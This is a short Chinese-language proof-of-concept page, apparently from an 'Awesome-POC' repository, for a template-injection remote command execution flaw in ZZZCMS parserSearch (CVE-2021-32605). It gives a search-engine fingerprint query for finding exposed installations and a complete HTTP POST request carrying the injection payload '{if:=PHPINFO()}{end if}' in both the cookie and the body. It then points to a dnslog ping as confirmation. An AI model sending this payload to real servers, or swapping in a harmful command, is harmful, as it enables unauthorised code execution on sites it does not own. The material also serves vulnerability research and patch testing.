Awesome-POC/CMS漏洞/ZZZCMS parserSearch 远程命令执行漏洞.md

51 lines
1.1 KiB
Markdown
Raw Normal View History

2022-02-20 16:14:31 +08:00
# ZZZCMS parserSearch 远程命令执行漏洞
## 漏洞描述
ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞
2022-12-07 15:39:19 +08:00
参考链接:
- https://srcincite.io/advisories/src-2021-0015/
- https://nvd.nist.gov/vuln/detail/CVE-2021-32605
2022-02-20 16:14:31 +08:00
## 漏洞影响
```
ZZZCMS
```
2023-08-28 15:55:36 +08:00
## 网络测绘
2022-02-20 16:14:31 +08:00
```
app="zzzcms"
```
## 漏洞复现
发送如下请求包命令执行
2022-12-05 11:09:28 +08:00
![](./images/202202170904549.png)
2022-02-20 16:14:31 +08:00
```plain
POST /?location=search HTTP/1.1
Host:
Content-Length: 30
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=rbuhrqqhoctntnak8slkascqp1; keys=%7Bif%3A%3DPHPINFO%28%29%7D%7Bend+if%7D%0D%0A
keys={if:=PHPINFO()}{end if}
```
执行 ping dnslog
2022-12-05 11:09:28 +08:00
![](./images/202202170904912.png)